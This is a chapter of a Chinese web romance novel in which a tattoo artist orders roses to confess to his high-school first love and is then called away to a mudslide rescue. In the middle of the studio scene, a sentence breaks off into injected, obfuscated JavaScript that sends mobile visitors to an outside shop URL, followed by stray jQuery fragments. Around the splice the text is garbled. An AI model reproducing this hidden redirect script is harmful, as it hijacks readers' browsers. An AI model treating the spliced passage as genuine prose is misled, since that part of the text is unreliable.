30.送花

作品:《我那哑巴似的初恋

    烧烤,路熙然确实点了。但没点多少,刚到起送价就停了手。他怕谌一礼吃不完,又怕他吃得多了晚上不舒服,连带着又喊了跑腿买了胃药过来。


    谌一礼工作其实处理得差不多,他本来就不是喜欢加班的性子,烧烤到了后,干脆整个人懒洋洋地坐在茶几前吃。至于冰箱里唯一剩下的两罐冰啤酒,刚好他跟路熙然一人一罐。


    “谌总,”路熙然突然喊他,问,“你觉得今天的住家服务怎么样?”


    “挺好的,”谌一礼挑眉笑了下,拿着茶几上最后的一串牛肉递过去,“谌总奖励你。”


    这回,两人是真的吃饱喝足了。谌一礼吃完了有点困,不想动,整个人懒洋洋的窝在沙发上,让路熙然去洗澡。


    “行,”路熙然看着他,站起来,但还没走到浴室门口,又转过头说,“不过麻烦谌总借我套睡衣,我衣服没带。”


    来住家服务,不带衣服。谌一礼撩起眼皮,看着他一时间不知道说什么。但还是去给他拿了,是谌一礼之前去当伴郎时在酒店穿得那套,深蓝色。谌一礼把衣服放在浴室门前还喊了他一声。


    “睡衣放门口了。”


    “好。”淋浴间里传来水声,可没来得及等谌一礼离开,就又听见路熙然叫他,“谌总,还有一件事麻烦你一下。”


    谌一礼:“又怎么?”


    “我刚把内裤掉地上了,穿不了,”路熙然说,“想借你的。”


    谌一礼有阵无言,靠着墙喊他:“路师傅。”


    “谌总,你说。”


    “我家有专门的内衣烘干机,”谌一礼说到这儿,又补了一句,“但如果你想穿我的,也不是不行。”


    他话音刚落,就见淋浴间的门开了个小半边。路熙然的头探出来,看着他,他拿出自己已经湿掉了的内裤作证。


    “谌总,我没有歪心思。裤子是真湿了。”路熙然说到这儿,跟他讨饶,“你要是不介意,我一会儿就挂空挡出来,自己去烘干?”


    他问得试探,眉眼间也带着点笑。谌一礼脸沉了一秒看着他,没一会儿就破功,没忍住抬手揉了揉路熙然头上的青茬。


    “路熙然,”谌一礼接过了他那人湿掉的内裤在,一边转身一边说,“你要不把头发留长点吧,你头发还是高中那阵子摸着舒服。”


    路熙然到底要不要留长头发,谌一礼没问。那天他给路熙然把内裤烘干,又给人拿过去时,路熙然也没说。


    左右也不急这一时半会儿,那天两人洗漱后各自分开睡了,路熙然还是睡得客卧,但把那盘遮瑕放在了床头。


    周一一大早,谌一礼的闹钟响了。彼时时间早上六点半,路熙然朦朦胧胧听见了他的闹铃声。


    每次间隔十分钟,一共响了三次。可谌一礼没起,反而是路熙然先醒了。他起床,出客卧,进主卧,他走到谌一礼的床边蹲下,抬手关掉了他的手机闹铃。


    “不要关。”头闷在被子里的人开口,他本来伸出了一只胳膊去拿手机,却被路熙然抢先一步,“再响三次我就起来。”


    路熙然看着他这幅模样笑,他凑过去,声音不自觉放柔,话却说得不太好。


    他笑他:“谌总,一个闹铃响六次,猪都能起来了。”


    “那我心甘情愿做猪。”那人嘟囔着,声音闷在被子里,一看就是还没醒。


    路熙然又笑起来刚准备起身,结果人还没起来,就见谌一礼从被褥探出了头,那人眉眼惺忪地盯着路熙然看了好一阵。


    好像是刚意识到自己家里多了个人。


    清晨窗外的阳光是柔和的。但谌一礼的卧室里只拉了层纱帘,骤然的光照有些晃眼,让他只晃神片刻又钻了回去。


    像只猫。


    “路熙然,”路熙然听见那人叫他,“一会儿叫我。”


    路熙然闻言,不自觉地放低声音,他垂眸看着被褥里的那一团,哄着人说了句“好。”


    那天,谌一礼难得准时准点起床。他坐在餐桌上,半侧头边让路熙然给他上遮瑕,边吃着那人订的早餐外卖。


    “高中学校旁边那家吧?”谌一礼只咬了个包子馅就尝出来了,他冲着路熙然笑,“就他家的牛肉馅是这个味。”


    路熙然点点头,他抬手捏了下谌一礼的下巴,“是他家的,那大爷还在做,你别动了。”


    谌一礼依言坐好,“他快七十了吧,他早说要把店子买了退休的,还没啊。”


    “没,老人家喜欢,能干就一直在干。”路熙然说到这儿,审视了一下谌一礼的脖颈,抬手给他抽了张纸,让他插嘴,“遮好了,你怎么上班?”


    “你开车来的?”谌一礼问他。


    “开车,”路熙然回答,说到这里,对上谌一礼的那双眸子,干脆笑着问他,“谌总,需要接送服务吗?”


    -


    那天谌一礼坐着路熙然的车去上的班,在得到了一个“专属化妆师”后,他又有了一个“专属司机。”


    谌一礼坐在路熙然的车上就在笑,也不知道在笑什么。


    可能是笑昨天晚上两个人抢一块吃食,笑自己脖子上被路熙然啃出来的印子,笑今天他可以偷懒不用开车。


    反正谌一礼有时候很像小孩孩,赖床的时候像,吃到好吃东西的时候像,包括现在也像。


    路熙然就这么着,看着谌一礼解了安全带准备下车,那人一边理着头发,一边让他晚上再来接他。


    “你遮瑕膏都还放我家在呢,路师傅。住家服务就住家到底吧。”


    谌一礼是这么说的,路熙然也没推辞。他只问他:“谌总,你不怕别人造谣?”


    “造谣什么?”


    “说你不是单身,每天都有帅哥接送什么的?”


    谌一礼听见这话笑了,他对上路熙然那双眸子,两人之间心知肚明。


    在揣着明白装糊涂这件事上,明明彼此都没说,但偏偏像是达成了共识。


    于是谌一礼也不点破,他理了理身上的衣服,笑着告诉他。


    他说:“路师傅,我是不是单身这件事,不是取决于你吗?”


    这句话出来,两个人就像是在牌桌上交手的赌客。一方盼着一方早点摊牌,一方期待一方早些进攻。


    话到这儿,多的不说了,路熙然只是笑着问了谌一礼一句。


    他说:“谌总,你觉得表白的话,用什么花合适?”


    “栀子,还是玫瑰?”


    “玫瑰吧。”谌一礼回他,他望向那人笑着的眼睛,说,“这个季节,楚城的栀子只怕不好买。”


    -


    那天,在去纹身室工作前,路熙然去了趟花店下单了一捧玫瑰,要人晚上送到谌一礼家。


    他只让高欣莹给他排了两张小图,准备下班后去买点蛋糕和香槟。


    他想在今天表白。


    因为今天天气好。因为店家给他选好的玫瑰很艳丽。因为谌一礼说他是否单身取决于自己。


    路熙然哼着歌在纹身室里工作,在第一张小图纹完后等待下一个客人时,他进入了画室里,画完了那支鹤。


    那副画里,笔触是飞洒的,云水蓝的底调晕染出天空,水绿色的山峦铺平背景。鹤身高昂着颈,展翅于山水之间,似乎飞得比云朵更高,比山更自由。


    路熙然在那天联系了稿主,问她什么时间有时间来看稿,便又去接待了第二个来纹身的客人。


    “路哥,你今天心情看着太好了吧?”那客人是个熟客,带着女朋友来扎个小图。


    纹的是多芍药花,在女朋友的脚踝处。


    “是心情不错。”路熙然回答。


    “捡彩票了?”那人问他。


    “不是,”路熙然笑了下,“快谈恋爱了。”


    他说得很大方,那位熟客听到了,骆环自然也听到了。跟熟客说的恭喜不同,骆环呆在他那边接待着客人,还没忘记冲路熙然这边念叨。


    他喊:“路熙然,我想吃群山广场的那家海鲜!”


    “好。”路熙然答应他,话说完见高欣莹站在他这边的门前看过来,又说了一句,“到时候大家都去,我请。”


    至此,一上午过去,工作室里欢呼声没停,等路熙然手上的活忙完,都凑过来对他说了一句


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362870|197039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恭喜。


    他们问他什么时候把爱人带过来看看,又问了解多一些的骆环,那两人怎么在一起的。


    “不知道啊,”骆环打马虎眼,他看着路熙然笑,“听说是高中同学。”


    “哇——”


    “还是初恋。”


    这两个词扔出来就是王炸。工作室里年轻的学徒刚二十多岁,年长一些的师傅也才不到四十。三三两两,要不就是凑过来问一句,要不就是想打听点什么。


    大家都知道路熙然铁树开花不容易,都很好奇他到底如何掉进了温柔乡。


    而两个小时后,连路晏都知道了。他一通电话打到路熙然手机上。


    “哥!你谈恋爱了!是我之前见的那个人吗?”


    “还没有。”路熙然回答,“但是是他。”


    路晏闻言在电话那头聒噪起来。只一天时间不到,透过这些人的问题,路熙然实在难以想象,自己以前的感情生活在他们眼里到底是有多贫瘠。


    “好了,等有时间我带他一起跟你吃饭,行吗?”路熙然笑着打断电话那头路晏的话,见又有电话打进来,结束了他弟弟的八卦心。


    手机屏幕显示出的是应急队队长张明生的通话来电。


    路熙然愣了瞬,还是接了。


    “张队?怎么了?”


    “熙然,是这样的。”张明生说,“不知道你现在忙不忙,但滇南那边,就我们上次培训的那边队长跟我联系,说那边发了泥石流。”


    “你要是有空的话,跟我去一趟吧,今晚我们就走。”


    所有的自然危机里,除了地震外,其他的任何,都是很难找到机会获得提前预警的。


    在应急救援的责任当中,最基础的就是抢险跟救灾。


    但路熙然听见张明生的话后,第一次有些沉默。他想到自己订的那捧玫瑰,问他:“那边严重吗?”


    “听说是三个村子都埋了,具体伤亡人数还没通报。你去吗?去的话我们晚上走,开队里的皮卡和越野。”张明生说着,又补充,“我一会儿再去群里发消息问一下,让有空的都去。”


    “张队。”路熙然敛了下眸子,说,“我一会儿在群里给你答复行吗?现在有点事儿。”


    “行。”张明生不强求,“你要有空就来,那边都是山区,人多点最好。”


    “我知道的。”


    张明生就交代了这两句,便挂了电话。


    路熙然站在原地,深吸了口气,犹豫了一下,还是打了谌一礼的电话。


    那人今天似乎有点忙,电话响铃了一阵后才通。


    “路师傅,有事吗?”谌一礼问他。


    “谌一礼,”路熙然没喊那人谌总,他说到这里顿了顿,“滇南那边发生了泥石流……”


    谌一礼闻言,没听完路熙然的后话,直接问他:“危险吗?”


    “不知道,具体情况要等到了再说。”路熙然握不准情况。


    “行,你注意安全。”谌一礼再度打断他,“想去就去,能救人就救人,好好回来。”


    他好像太懂他了。从路熙然开口提到滇南那边的泥石流,谌一礼就只问危不危险,只要他好好回来。


    多的话他也不说,把人拦住没有意义。要做那行的,心里多少都有些抱负。


    “我知道了。”谌一礼听见路熙然隔着电话说,那人说到这里顿了顿,又道,“我争取早些回来。”


    “行。”谌一礼笑他,他说到这里,又提醒他,他说“路师傅,你记得回来的时候,买点玫瑰。听说滇南那边的玫瑰好看些,还便宜。”


    这话暗示得有些明显,路熙然听完勾了勾嘴角,他看着窗外的日光,隔着电话告诉他,他说:“谌总,玫瑰我已经买了,就在广银街附近的花店,花是我选的,今天晚上就能送到你家。”


    “等我回来,你能告诉我吗?”


    谌一礼:“告诉你什么?”


    “关于,我买玫瑰的答案,以及那时候你还是不是单身?”路熙然说到这儿,笑了下,“我想知道,收到玫瑰的谌总,身边有没有我的位置,可以吗?”